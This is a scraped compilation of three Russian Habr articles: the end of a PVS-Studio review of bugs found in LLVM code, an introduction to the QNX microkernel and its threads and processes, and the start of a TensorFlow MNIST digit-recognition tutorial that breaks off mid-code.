* Прочитать запятую. Если это запятая, завершить цикл и вернуть из функции статус ошибки.
* Ага, у нас не запятая. Если это закрывающаяся скобка, то все хорошо, выходим из функции.
* Иначе вернем статус ошибки.
Таким образом, корректной может быть только последовательность из одного элемента, заключенного в квадратные скобки. Если будет несколько элементов в последовательности, разделенных запятой, то функция вернёт статус ошибки *TPResult::Error*.
Рассмотрим теперь другой случай, когда выполняется не более, чем 1 итерация цикла:
```
static bool checkMachOAndArchFlags(....) {
....
unsigned i;
for (i = 0; i < ArchFlags.size(); ++i) {
if (ArchFlags[i] == T.getArchName())
ArchFound = true;
break;
}
....
}
```
**Предупреждение PVS-Studio:** [V612](http://www.viva64.com/ru/w/V612/) An unconditional 'break' within a loop. MachODump.cpp 1206
Обратите внимание на оператор *break*. Он прервёт цикл сразу после первой итерации. Мне кажется, оператор *break* должен относиться к условию, и тогда корректный код станет выглядеть так:
```
for (i = 0; i < ArchFlags.size(); ++i) {
if (ArchFlags[i] == T.getArchName())
{
ArchFound = true;
break;
}
}
```
Есть ещё два аналогичных места, но, чтобы статья не получилась слишком большой, приведу только предупреждения анализатора:* V612 An unconditional 'return' within a loop. R600OptimizeVectorRegisters.cpp 54
* V612 An unconditional 'break' within a loop. llvm-size.cpp 525
### Перепутан оператор || и &&
```
static bool containsNoDependence(CharMatrix &DepMatrix,
unsigned Row,
unsigned Column) {
for (unsigned i = 0; i < Column; ++i) {
if (DepMatrix[Row][i] != '=' || DepMatrix[Row][i] != 'S' ||
DepMatrix[Row][i] != 'I')
return false;
}
return true;
}
```
**Предупреждение PVS-Studio:** [V547](http://www.viva64.com/ru/w/V547/) Expression is always true. Probably the '&&' operator should be used here. LoopInterchange.cpp 208
Выражение не имеет смысла. Я упрощу код, чтобы выделить суть ошибки:
```
if (X != '=' || X != 'S' || X != 'I')
```
Переменная *X* всегда будет чему-то не равна. В результате условие всегда истинно. Скорее всего, вместо операторов *"||"* следовало использовать операторы *"&&"*, тогда выражение приобретает смысл.
### Функция возвращает ссылку на локальный объект
```
SingleLinkedListIterator &operator++(int) {
SingleLinkedListIterator res = \*this;
++\*this;
return res;
}
```
**Предупреждение PVS-Studio:** [V558](http://www.viva64.com/ru/w/V558/) Function returns the reference to temporary local object: res. LiveInterval.h 679
Функция представляет традиционную реализацию постфиксного инкремента:* Текущее состояние сохраняется во временном объекте;
* Изменяется текущее состояние объекта;
* Возвращается старое состояние объекта.
Ошибка в том, что функция возвращает ссылку. Эта ссылка не валидна, так как при выходе из функции временный объект *res* будет разрушен.
Чтобы исправить ситуацию, нужно возвращать значение, а не ссылку:
```
SingleLinkedListIterator operator++(int) { .... }
```
### Повторное присваивание
Приведу функцию целиком, чтобы никто не подумал, что перед повторным присваиванием переменная *ZeroDirective* как-то используется.
```
HexagonMCAsmInfo::HexagonMCAsmInfo(const Triple &TT) {
Data16bitsDirective = "\t.half\t";
Data32bitsDirective = "\t.word\t";
Data64bitsDirective = nullptr;
ZeroDirective = "\t.skip\t"; // <=
CommentString = "//";
LCOMMDirectiveAlignmentType = LCOMM::ByteAlignment;
InlineAsmStart = "# InlineAsm Start";
InlineAsmEnd = "# InlineAsm End";
ZeroDirective = "\t.space\t"; // <=
AscizDirective = "\t.string\t";
SupportsDebugInformation = true;
MinInstAlignment = 4;
UsesELFSectionDirectiveForBSS = true;
ExceptionsType = ExceptionHandling::DwarfCFI;
}
```
**Предупреждение PVS-Studio:** [V519](http://www.viva64.com/ru/w/V519/) The 'ZeroDirective' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 25, 31. HexagonMCAsmInfo.cpp 31
Переменная *ZeroDirective* представляет собой простой указатель типа *const char \**. В начале он указывает на строку "\t.skip\t", а чуть ниже ему назначают адрес строки "\t.space\t". Это странно и не имеет смысла. Высока вероятность, что одно из присваиваний должно изменять совсем другую переменную.
Рассмотрим ещё один случай повторного присваивания.
```
template
void GNUStyle::printFileHeaders(const ELFO \*Obj) {
....
Str = printEnum(e->e\_ident[ELF::EI\_OSABI], makeArrayRef(ElfOSABI));
printFields(OS, "OS/ABI:", Str);
Str = "0x" + to\_hexString(e->e\_version); // <=
Str = to\_hexString(e->e\_ident[ELF::EI\_ABIVERSION]); // <=
printFields(OS, "ABI Version:", Str);
Str = printEnum(e->e\_type, makeArrayRef(ElfObjectFileType));
printFields(OS, "Type:", Str);
....
}
```
**Предупреждение PVS-Studio:** V519 The 'Str' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2407, 2408. ELFDumper.cpp 2408
По всей видимости мы имеем дело с опечаткой. Вместо повторного присваивания надо было конкатенировать две строки с помощью оператора *+=*. Тогда корректный код должен выглядеть так:
```
Str = "0x" + to_hexString(e->e_version);
Str += to_hexString(e->e_ident[ELF::EI_ABIVERSION]);
```
Есть еще несколько фрагментов кода, где происходит повторное присваивание. На мой взгляд, эти повторные присваивания не несут в себе никакой опасности, поэтому я просто перечислю соответствующие предупреждения:* V519 The variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 55, 57. coff2yaml.cpp 57
* V519 The 'O' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 394, 395. llvm-pdbdump.cpp 395
* V519 The 'servAddr.sin\_family' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 63, 64. server.cpp 64
### Подозрительная работа с умными указателями
```
Expected>
PDBFileBuilder::build(
std::unique\_ptr PdbFileBuffer)
{
....
auto File = llvm::make\_unique(
std::move(PdbFileBuffer), Allocator);
File->ContainerLayout = \*ExpectedLayout;
if (Info) {
auto ExpectedInfo = Info->build(\*File, \*PdbFileBuffer);
....
}
```
**Предупреждение PVS-Studio:** [V522](http://www.viva64.com/ru/w/V522/) Dereferencing of the null pointer 'PdbFileBuffer' might take place. PDBFileBuilder.cpp 106
Код мне не понятен, так как, например, я не изучал, что такое *llvm::make\_unique* и как вообще всё это работает. Тем не менее, анализатор и меня настораживает то, что на первый взгляд владение объектом от умного указателя *PdbFileBuffer* переходит к *File*. После чего происходит разыменование умного указателя *PdbFileBuffer*, который, по идее, в этот момент уже содержит внутри себя *nullptr*. То есть настораживает следующее:
```
.... llvm::make_unique(::move(PdbFileBuffer), Allocator);
....
.... Info->build(\*File, \*PdbFileBuffer);
```
Если это ошибка, то её следует поправить ещё в 3 местах в этом же файле:* V522 Dereferencing of the null pointer 'PdbFileBuffer' might take place. PDBFileBuilder.cpp 113
* V522 Dereferencing of the null pointer 'PdbFileBuffer' might take place. PDBFileBuilder.cpp 120
* V522 Dereferencing of the null pointer 'PdbFileBuffer' might take place. PDBFileBuilder.cpp 127
### Опечатка в условии
```
static bool areExclusiveRanges(BinaryOperatorKind OpcodeLHS,
const APSInt &ValueLHS,
BinaryOperatorKind OpcodeRHS,
const APSInt &ValueRHS) {
....
// Handle cases where the constants are different.
if ((OpcodeLHS == BO_EQ ||
OpcodeLHS == BO_LE || // <=
OpcodeLHS == BO_LE) // <=
&&
(OpcodeRHS == BO_EQ ||
OpcodeRHS == BO_GT ||
OpcodeRHS == BO_GE))
return true;
....
}
```
**Предупреждение PVS-Studio:** [V501](http://www.viva64.com/ru/w/V501/) There are identical sub-expressions 'OpcodeLHS == BO\_LE' to the left and to the right of the '||' operator. RedundantExpressionCheck.cpp 174
Это классическая опечатка. Переменная *OpcodeLHS* дважды сравнивается с константой *BO\_LE*. Как мне кажется, одну из констант *BO\_LE* следует заменить на *BO\_LT*. Как видите имена констант схожи между собой и несложно спутать.
Следующий пример демонстрирует, как статический анализ дополняет другие методологии написания качественного кода. Рассмотрим ошибочный код:
```
std::pair
llvm::createSanitizerCtorAndInitFunctions(
....
ArrayRef InitArgTypes, ArrayRef InitArgs,
....)
{
assert(!InitName.empty() && "Expected init function name");
assert(InitArgTypes.size() == InitArgTypes.size() &&
"Sanitizer's init function expects "
"different number of arguments");
....
```
}
**Предупреждение PVS-Studio:** V501 There are identical sub-expressions 'InitArgTypes.size()' to the left and to the right of the '==' operator. ModuleUtils.cpp 107
Одним из хороших способов повысить надежность кода является использование макросов [*assert()*](https://ru.wikipedia.org/wiki/Assert.h). Этот и аналогичные макросы помогают выявить многие ошибки на этапе разработки и отладки программы. Однако не буду вдаваться в подробные описания пользы, приносимых такими макросами, так как это выходит за рамки статьи.
Нам важно то, что в функции *createSanitizerCtorAndInitFunctions()* используются макросы *assert()* для проверки корректности входных значений. Вот только из-за опечатки второй *assert()* бесполезен.
К счастью, нам помогает статический анализатор, который замечает, что размер массива сравнивается сам с собой. В результате мы можем исправить проверку, а правильное условие в *assert()* со временем может помочь предотвратить какую-то другую ошибку.
По всей видимости, в условии должны сравниваться размеры массивов *InitArgTypes* и *InitArgs*:
```
assert(InitArgTypes.size() == InitArgs.size() &&
"Sanitizer's init function expects "
"different number of arguments");
```
### Путаница между release() и reset()
В классе *std::unique\_ptr* есть две созвучные функции: [*release*](http://en.cppreference.com/w/cpp/memory/unique_ptr/release) и [*reset*](http://en.cppreference.com/w/cpp/memory/unique_ptr/reset). Как показывают мои наблюдения, иногда их путают. Видимо это произошло и здесь:
```
std::unique_ptr takeClient()
{ return std::move(Owner); }
VerifyDiagnosticConsumer::~VerifyDiagnosticConsumer() {
....
SrcManager = nullptr;
CheckDiagnostics();
Diags.takeClient().release();
}
```
**Предупреждение PVS-Studio:** [V530](http://www.viva64.com/ru/w/V530/) The return value of function 'release' is required to be utilized. VerifyDiagnosticConsumer.cpp 46
Возможно здесь нет ошибки и здесь скрывается какая-то специальная хитрая логика. Но больше это походит на утечку ресурсов. В любом случае этот код не помешает лишний раз проверить разработчикам.
### Избыточные условия
```
bool ARMDAGToDAGISel::tryT1IndexedLoad(SDNode *N) {
LoadSDNode *LD = cast(N);
EVT LoadedVT = LD->getMemoryVT();
ISD::MemIndexedMode AM = LD->getAddressingMode();
if (AM == ISD::UNINDEXED ||
LD->getExtensionType() != ISD::NON\_EXTLOAD ||
AM != ISD::POST\_INC ||
LoadedVT.getSimpleVT().SimpleTy != MVT::i32)
return false;
....
}
```
**Предупреждение PVS-Studio:** [V590](http://www.viva64.com/ru/w/V590/) Consider inspecting this expression. The expression is excessive or contains a misprint. ARMISelDAGToDAG.cpp 1565
Условие длинное, поэтому я выделю самое главное:
```
AM == ISD::UNINDEXED || AM != ISD::POST_INC
```
Это условие избыточно и его можно упросить до:
```
AM != ISD::POST_INC
```
Таким образом, здесь мы наблюдаем просто избыточность в условии или какую-то ошибку. Возможно, избыточность указывает нам на то, что хотели написать какое-то другое условие. Я не берусь судить насколько опасно это место, но проверить его стоит. Заодно хочу обратить внимание разработчиков ещё на 2 предупреждения анализатора:* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. ASTReader.cpp 4178
* V590 Consider inspecting this expression. The expression is excessive or contains a misprint. BracesAroundStatementsCheck.cpp 46
### Мои любимые предупреждения V595
Указатели в C и C++ — бесконечная головная боль программистов. Проверяешь их на ноль, проверяешь, а где-то — раз! — и опять разыменование нулевого указателя. Диагностика [V595](http://www.viva64.com/ru/w/V595/) выявляет ситуации, когда проверка указателя на равенство нулю происходит слишком поздно. До этой проверки указатель уже успевают использовать. Это одна из самых типовых ошибок, находимых нами в коде разнообразнейших приложений ([доказательство](http://www.viva64.com/ru/examples/V595/)). Впрочем, в защиту C/C++ скажу, что в C# ситуация не намного лучше. От того, что указатели в C# назвали ссылками, такие ошибки не пропали ([доказательство](http://www.viva64.com/ru/examples/V3095/)).
Вернемся к коду LLVM и рассмотрим простой вариант ошибки:
```
bool PPCDarwinAsmPrinter::doFinalization(Module &M) {
....
MachineModuleInfoMachO &MMIMacho =
MMI->getObjFileInfo();
if (MAI->doesSupportExceptionHandling() && MMI) {
....
}
```
**Предупреждение PVS-Studio:** [V595](http://www.viva64.com/ru/w/V595/) The 'MMI' pointer was utilized before it was verified against nullptr. Check lines: 1357, 1359. PPCAsmPrinter.cpp 1357
Случай простой и всё сразу видно. Проверка *(… && MMI)* говорит нам, что указатель *MMI* может быть равен нулю. Если это так, поток выполнения программы не доберётся до этой проверки. Он будет прерван раньше из-за разыменования нулевого указателя.
Рассмотрим ещё один фрагмент кода:
```
void Sema::CodeCompleteObjCProtocolReferences(
ArrayRef Protocols)
{
ResultBuilder
Results(\*this, CodeCompleter->getAllocator(),
CodeCompleter->getCodeCompletionTUInfo(),
CodeCompletionContext::CCC\_ObjCProtocolName);
if (CodeCompleter && CodeCompleter->includeGlobals()) {
Results.EnterNewScope();
....
}
```
**Предупреждение PVS-Studio:** V595 The 'CodeCompleter' pointer was utilized before it was verified against nullptr. Check lines: 5952, 5955. SemaCodeComplete.cpp 5952
Указатель *CodeCompleter* сначала разыменовывается, а уже ниже располагается проверка на равенства этого указателя нулю. Такой же код ещё трижды встречается в этом же файле:* V595 The 'CodeCompleter' pointer was utilized before it was verified against nullptr. Check lines: 5980, 5983. SemaCodeComplete.cpp 5980
* V595 The 'CodeCompleter' pointer was utilized before it was verified against nullptr. Check lines: 7455, 7458. SemaCodeComplete.cpp 7455
* V595 The 'CodeCompleter' pointer was utilized before it was verified against nullptr. Check lines: 7483, 7486. SemaCodeComplete.cpp 7483
Это были простые случаи, но встречается и более запутанный код, где я сходу не могу сказать насколько он опасен. Поэтому предлагаю разработчикам самостоятельно проверить следующие участки кода LLVM:* V595 The 'Receiver' pointer was utilized before it was verified against nullptr. Check lines: 2543, 2560. SemaExprObjC.cpp 2543
* V595 The 'S' pointer was utilized before it was verified against nullptr. Check lines: 1267, 1296. SemaLookup.cpp 1267
* V595 The 'TargetDecl' pointer was utilized before it was verified against nullptr. Check lines: 4037, 4046. CGExpr.cpp 4037
* V595 The 'CurrentToken' pointer was utilized before it was verified against nullptr. Check lines: 705, 708. TokenAnnotator.cpp 705
* V595 The 'FT' pointer was utilized before it was verified against nullptr. Check lines: 540, 554. Expr.cpp 540
* V595 The 'II' pointer was utilized before it was verified against nullptr. Check lines: 448, 450. IdentifierTable.cpp 448
* V595 The 'MF' pointer was utilized before it was verified against nullptr. Check lines: 268, 274. X86RegisterInfo.cpp 268
* V595 The 'External' pointer was utilized before it was verified against nullptr. Check lines: 40, 45. HeaderSearch.cpp 40
* V595 The 'TLI' pointer was utilized before it was verified against nullptr. Check lines: 4239, 4244. CodeGenPrepare.cpp 4239
* V595 The 'SU->getNode()' pointer was utilized before it was verified against nullptr. Check lines: 292, 297. ResourcePriorityQueue.cpp 292
* V595 The 'BO0' pointer was utilized before it was verified against nullptr. Check lines: 2835, 2861. InstCombineCompares.cpp 2835
* V595 The 'Ret' pointer was utilized before it was verified against nullptr. Check lines: 2090, 2092. ObjCARCOpts.cpp 2090
### Странный код
Прошу прощения, что привожу тяжелый для чтения фрагмент кода. Потерпите, до конца статьи осталось немного.
```
static bool print_class_ro64_t(....) {
....
const char *r;
uint32_t offset, xoffset, left;
....
r = get_pointer_64(p, offset, left, S, info);
if (r == nullptr || left < sizeof(struct class_ro64_t))
return false;
memset(&cro, '\0', sizeof(struct class_ro64_t));
if (left < sizeof(struct class_ro64_t)) {
memcpy(&cro, r, left);
outs() << " (class_ro_t entends past the .......)\n";
} else
memcpy(&cro, r, sizeof(struct class_ro64_t));
....
}
```
**Предупреждение PVS-Studio:** [V649](http://www.viva64.com/ru/w/V649/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains function return. This means that the second 'if' statement is senseless. Check lines: 4410, 4413. MachODump.cpp 4413
Обратите внимание на проверку:
```
if (.... || left < sizeof(struct class_ro64_t))
return false;
```
Если значение, содержащееся в переменной *left*, меньше размера класса, то произойдёт выход из функции. Получается, что вот этот выбор поведения не имеет смысла:
```
if (left < sizeof(struct class_ro64_t)) {
memcpy(&cro, r, left);
outs() << " (class_ro_t entends past the .......)\n";
} else
memcpy(&cro, r, sizeof(struct class_ro64_t));
```
Условие всегда ложно, а, следовательно, всегда выполняется else-ветвь. Это очень странно. Возможно, программа содержит логическую ошибку, или мы имеем дело с какой-то опечаткой.
Заодно следует проверить вот это место:* V649 There are two 'if' statements with identical conditional expressions. The first 'if' statement contains function return. This means that the second 'if' statement is senseless. Check lines: 4612, 4615. MachODump.cpp 4615
### Разная мелочь
Внутри шаблонного класса *RPC* объявлен класс *SequenceNumberManager*. В нём есть вот такой перемещающий оператор присваивания (move assignment operator):
```
SequenceNumberManager &operator=(SequenceNumberManager &&Other) {
NextSequenceNumber = std::move(Other.NextSequenceNumber);
FreeSequenceNumbers = std::move(Other.FreeSequenceNumbers);
}
```
**Предупреждение PVS-Studio:** [V591](http://www.viva64.com/ru/w/V591/) Non-void function should return a value. RPCUtils.h 719
Как видите в конце забыли написать return:
```
return *this;
```
На самом деле в этом нет ничего страшного. Компиляторы, как правило, никак не работают с телами функций шаблонных классов, если эти функции не используются. Здесь, видимо, именно такой случай. Хотя я не проверял, но я уверен: если вызвать такой оператор перемещения, компилятор выдаст ошибку компиляции или громкий warning. Так что ничего страшного здесь нет, но решил указать на эту недоработку.
Встретилось несколько странных участков кода, где значение указателя, который вернул оператор *new*, проверяется на равенство нулю. Этот код не имеет смысла, так как если память не удастся выделить, должно быть сгенерировано исключение *std::bad\_alloc*. Вот одно из таких мест:
```
LLVMDisasmContextRef LLVMCreateDisasmCPUFeatures(....) {
....
// Set up the MCContext for creating symbols and MCExpr's.
MCContext *Ctx = new MCContext(MAI, MRI, nullptr);
if (!Ctx)
return nullptr;
....
}
```
**Предупреждение PVS-Studio:** [V668](http://www.viva64.com/ru/w/V668/) There is no sense in testing the 'Ctx' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. Disassembler.cpp 76
И ещё 2 предупреждения:* V668 There is no sense in testing the 'DC' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. Disassembler.cpp 103
* V668 There is no sense in testing the 'JITCodeEntry' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. GDBRegistrationListener.cpp 180
Эту участки кода не выглядят опасными, поэтому я решил описать их в разделе несущественных предупреждений. Скорее всего, все эти три проверки можно просто удалить.
Заключение
----------
Как видите, предупреждения компиляторов — это хорошо, но недостаточно. Специализированные инструменты статического анализа, такие как PVS-Studio, всегда будут опережать компиляторы в диагностических возможностях и гибкости настройки при работе с предупреждениями. Собственно, на этом разработчики анализаторов и зарабатывают свои деньги.
Ещё важно отметить, что основной эффект применения методологии статического анализа достигается при регулярном использовании статических анализаторов кода. Многие ошибки будут выявлены на самом раннем этапе, и их не потребуется отлаживать или упрашивать пользователя подробно описать последовательность действий, приводящих к падению программы. Здесь полная аналогия с предупреждениями компилятора (собственно, это те же самые предупреждения, но более интеллектуальные). Вы ведь смотрите предупреждения компилятора постоянно, а не раз в месяц?!
Приглашаем скачать и попробовать [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) на коде своего проекта.
[](http://www.viva64.com/en/b/0446/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey karpov. [Finding bugs in the code of LLVM project with the help of PVS-Studio](http://www.viva64.com/en/b/0446/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/314044/ | null | ru | null |
# ОСРВ QNX: Немного о микроядре, потоках и процессах
Поскольку мой первый [небольшой обзор](http://habrahabr.ru/blogs/nix/124656/) операционной системы реального времени QNX показал, что среди жителей Хабра есть к ней интерес, то я решил продолжить цикл заметок. Мне кажется, что стоит немного рассказать о системной архитектуре QNX6. Думаю, что нелишне дать определение тому, что такое микроядро, и какие задачи оно решает. По ходу повествования будут также развенчаны два мифа, связанные с QNX. Но сначала…
#### Немного о POSIX
С выпуском каждой новой версии QNX (а надо отметить, что первая версия ОСРВ QNX появилась теперь уже в далёком 1981 году), разработчики использовали накопленный ранее опыт и делали систему лучше, в том числе и удобнее для разработчиков. Именно поэтому QNX Neutrino поддерживает стандарты POSIX 1003.1, например, управление потоками (threads), расширения реального времени (Realtime Extensions), дополнительные расширения реального времени (Additional Realtime Extensions) и профили прикладных окружений (Application Environment Profiles, AEP).
Зачем я об этом говорю? Очень просто. Хотелось бы отметить две вещи, которые характерны для QNX и связаны с POSIX. Есть мнение, что любая POSIX операционная система скрывает в себе UNIX. А раз так, то такая система слишком громоздкая и не может применяться во встраиваемых решениях. Однако, в случае QNX это неверно. Стандарт POSIX описывает интерфейс, а не реализацию. А значит, под слоем POSIX может скрываться что угодно, в том числе и микроядро.
Второй момент, на котором я бы хотел остановится, наверное, очевиден. Это, конечно, те преимущества, которые даёт POSIX в QNX:
* **Повторное использование кода.** Однажды разработанный, отлаженный и протестированный код для одной POSIX операционной системы, может быть повторно использован в другой POSIX системе, в том числе и в QNX.
* **«Переносимость» программистов.** Разработчик или группа разработчиков, знакомая c POSIX и UNIX могут легко приступить к разработке встраиваемой системы реального времени (я, конечно, имею в виду QNX). Ведь большая часть ОС им будет уже знакома.
Итак, можно сделать вывод, что POSIX в QNX обеспечивает ряд преимуществ.
#### Истинное ядро
ОСРВ QNX основана на микроядерной архитектуре. Я думаю, что стоит остановится, и прежде, чем идти дальше, определить, что такое микроядро (по крайней мере в терминологии QNX). Термин микроядро с некоторого времени стал очень популярен и многие системы, содержащие ядро небольшого размера, называются микроядерными. А если ядро ещё меньше, то его называют наноядром. Это не совсем верно для QNX. Маленький размер ядра это не главная цель. Идея в том, что многие функции операционной системы (в том числе и такие привычные, как, например, поддержка файловой системы) вынесены из ядра в область пользовательских приложений. А само микроядро выполняет лишь небольшой набор функций, большая часть которых обеспечивает межзадачное взаимодействие:
* обмен сообщениями (это основное, чем занимается микроядро);
* управление потоками;
* планирование (потоков);
* синхронизация (потоков);
* управление сигналами;
* управление таймерами.
Обратите внимание, что даже управление процессами выполняется не микроядром, а администратором процессов (который, правда, скомпонован с микроядром в один модуль). Это ли не есть истинное ядро системы?
То, что я перечислил выше, это всё, что делает микроядро QNX. Такие вещи как драйверы сети или поддержка дисков вынесены в отдельные модули, которые запускаются и работают как обычные пользовательские процессы. Со всеми вытекающими отсюда преимуществами (перед системами на основе монолитного ядра). А какие это преимущества? Очень просто:
* Исходный код микроядра гораздо меньше, чем у монолитного ядра, а значит ядро легче отладить и протестировать.
* Микроядро увеличивает модульность. Конечная целевая система может быть легко сконфигурирована в соответствии с требованиями. Достаточно только запустить те менеджеры, которые требуются.
* Микроядро повышает надёжность системы. Если в драйвере произошла ошибка, то это не приведёт к краху системы (и микроядра), а сам драйвер можно перезапустить в любой момент, без перезапуска всей системы.
#### Миф: Микроядро QNX написано на ассемблере
Среди некоторых разработчиков бытует мнение, что высокая производительность и компактность микроядра QNX Neutrino является результатом того, что оно написано на ассемблере. Но это не так. Микроядро практически полностью написано на C. Производительность и компактность это следствия применения хорошо отлаженных алгоритмов и структур.
#### Процессы и потоки в QNX
Согласно спецификации POSIX, ОСРВ QNX поддерживает потоки. И даже больше, микроядро QNX управляет только потоками, и именно потоки можно считать минимальной «единицей выполнения». Каждый процесс в QNX может содержать один или несколько потоков. В таком ключе, процесс может рассматриваться как контейнер потоков.
В простейшем случае, процесс может (и должен) содержать один поток. Но иногда требуется параллельное выполнение нескольких алгоритмов в одном процессе. Приведу небольшой пример из QNX. Менеджер файловой системы может принимать и обрабатывать параллельно запросы от нескольких клиентов (других процессов). Если бы менеджер работал в один поток, то уже второй обратившийся к нему клиент вынужден был бы ожидать завершения ранее запрошенной операции. К счастью, менеджер файловой системы в QNX работает в несколько потоков, что позволяет обслуживать несколько приложений одновременно и параллельно.
Все процессы в QNX изолированны друг от друга и выполняются в своём собственном виртуальном адресном пространстве. За реализацию такой защиты отвечает блок управление памятью (Memory Management Unit, MMU). Наличие в процессоре устройства MMU является обязательным требованием для запуска QNX. В тоже время, потоки одного процесса работают в одном адресном пространстве.
Существует системы, реализованные по схеме, когда все задачи в системе представляют собой потоки, которые работают в одном адресном пространстве. С одной стороны, это облегчает межпроцессное взаимодействие. Но с другой стороны, любая ошибка в любом потоке может привести к краху всей системы. Да и отлаживать и сопровождать систему, построенную по такому принципу, гораздо сложнее.
#### Миф: Микроядро QNX медленно переключает контексты между процессами
Изначально потоки появились в UNIX-системах в качестве решения проблемы слишком медленного переключения контекстов между процессами. Скорее всего, с тех пор принято считать, что переключение контекстов между процессами происходит очень неспешно. А поскольку при использовании микроядра и передачи сообщений, выполняется больше переключений контекстов, чем при использовании монолитного ядра, то делается простой вывод — QNX работает медленно. Однако, архитектура QNX Neutrino решает проблему производительности переключения контекстов. И в QNX практически нет разницы в скорости переключения контекстов между процессами и потоками.
#### Как живёт поток
Во время работы процесса потоки в нём могут создаваться и удаляться динамически. При создании потока, например функцией `pthread_create()` выделяются и инициализируются необходимые ресурсы и выполнение потока начинается с указанной функции в адресном пространстве процесса. При завершении потока, например с помощью функции `pthread_exit()` ресурсы высвобождаются.
Пока поток запущен он может находиться в двух состояниях: готов (ready) или блокирован (blocked). Но на самом деле существуют различные причины, по которым поток может быть заблокирован и при выводе информации о процессах и потоках при помощи команды `pidin` (QNX-специфичный вариант утилиты `ps`) мы можем наблюдать разные состояния, например, SEND, RECEIVE, SIGWAITINFO, NANOSLEEP и другие. Например, в таком состоянии у меня сейчас потоки менеджера USB:
```
# pidin -P io-usb
pid tid name prio STATE Blocked
4101 1 proc/boot/io-usb 10o SIGWAITINFO
4101 2 proc/boot/io-usb 21r RECEIVE 1
4101 3 proc/boot/io-usb 10o RECEIVE 4
4101 4 proc/boot/io-usb 10r NANOSLEEP
4101 5 proc/boot/io-usb 10o RECEIVE 4
```
Здесь *pid* — идентификатор процесса (process ID) в системе, *tid* — идентификатор потока (thread ID) в процессе, *prio* — номер приоритета потока и дисциплина планирования, *STATE* — состояние потока, *Blocked* — значение зависит от причины блокировки. В приведённом примере потоки 2, 3 и 5 находятся в Receive-блокированном состоянии (т.е. готовы принимать сообщения от других потоков).
#### Эпилог
Я постарался рассказать о пользе POSIX и немного о роли микроядра QNX. Надеюсь, что это было интересно. На самом деле неплохо было бы ещё рассказать о дисциплинах планирования и механизмах межзадачного взаимодействия, но я подумал, что лучше сделать это в отдельных топиках, чтобы вся эта информация не превратилась в кашу. Обещаю, что в следующий раз будет интереснее.
И ещё. Если кого-то заинтересовал QNX, то всё, что я описал и даже гораздо больше можно прочитать в Системной архитектуре (System Architecture) QNX Neutrino. Эта документация доступна в электронном виде на сайте [www.qnx.com](http://www.qnx.com) (на английском языке), а также есть русский перевод в печатном виде:
1. Операционная система реального времени QNX Neutrino 6.3. Системная архитектура. ISBN 5-94157-827-X
2. Операционная система реального времени QNX Neutrino 6.3. Руководство пользователя. ISBN 978-5-9775-0370-9 | https://habr.com/ru/post/125243/ | null | ru | null |
# Как при помощи ИИ сделать распознавание вводимых вами рукописных цифр прямо в браузере
Эта статья для новичков и не претендует на высокий технический уровень, а если вам интересны сложные современные решения, обратите внимание, например, на [статью о GIRAFFE](https://habr.com/ru/company/skillfactory/blog/564896/), который для генерации реалистичного движения объединяет самые современные подходы в ИИ.
В конце статьи вы найдёте ссылки на проект очень простой веб-страницы с распознаванием рукописного ввода при помощи ИИ, а прочитав это руководство, переводом которого мы делимся к старту курса о [машинном и глубоком обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=280721), сможете самостоятельно написать такую страницу. Для этого вам понадобится свой блокнот Colab или блокнот автора статьи. Скачиваемые блокнотом файлы модели занимают меньше мегабайта.
---
Обучим простую модель распознавания цифр на наборе данных MNIST
---------------------------------------------------------------
Если вы решили завести блокнот и выполнить всё с нуля, чтобы загрузить данные, в первую ячейку Вашего блокнота введите этот код:
```
import tensorflow as tf
# import digit dataset
mnist = tf.keras.datasets.mnist
(tx, ty), (vx, vy) = mnist.load_data()
# preprocess input types
tx = tx[:,:,:,None].astype('float32')
vx = vx[:,:,:,None].astype('float32')
ty = ty.astype(int)
vy = vy.astype(int)
# display relevant info
print("""tx:%s, ty:%s
vx:%s, vy:%s""" % (tx.shape, ty.shape, vx.shape, vy.shape))
```
Код отображает размерности данных `tx` и цели `ty`, а также данных валидации `vx` и целевых данных `vy`:
```
tx:(60000, 28, 28, 1), ty:(60000,)
vx:(10000, 28, 28, 1), vy:(10000,)
```
Выведем 10 образцов изображений каждой цифры, чтобы понять, как выглядят данные:
```
import matplotlib.pyplot as plt
# create a grid of plots
f, axs = plt.subplots(10,10,figsize=(10,10))
# plot a sample number into each subplot
for i in range(10):
for j in range(10):
# get a sample image for the 'i' number
img = tx[ty==i,:,:,0][j,:,:]
# plot image in axes
axs[i,j].imshow(img, cmap='gray')
# remove x and y axis
axs[i,j].axis('off')
# remove unecessary white space
plt.tight_layout()
# display image
plt.show()
```
Обратите внимание на чёрный фон и белые цифры. Это важно в смысле рисования чисел и кода canvas в HTML:
Начнём со строительного блока свёртки, который кроме самой свёртки будет содержать пакетную нормализацию, функцию активации RELU, максимальное объединение и отсеивающие слои:
```
# defines a standard 2d convolution block with batch normalisation,
# relu activation, max pooling and dropout
def normConvBlock(filters, return_model=True, name=None):
lays = [
tf.keras.layers.Conv2D(filters, 3, padding='valid', name=name+'_conv'),
tf.keras.layers.BatchNormalization(name=name+'_bn'),
tf.keras.layers.Activation('relu', name=name+'_act'),
tf.keras.layers.MaxPooling2D(2, strides=2, name=name+'_mpool'),
tf.keras.layers.Dropout(0.1, name=name+'_drop'),
]
if return_model:
return tf.keras.models.Sequential(lays, name=name)
else:
return lays
```
Наша полная сеть будет состоять из двух `normConvBlock`, затем плоского и последнего плотного слоя с активацией softmax. Оптимизировать модель мы можем при помощи `Adam` . В целевых данных есть маркировка порядка, поэтому также воспользуемся категориальной потерей перекрёстной энтропии:
```
# create NN model
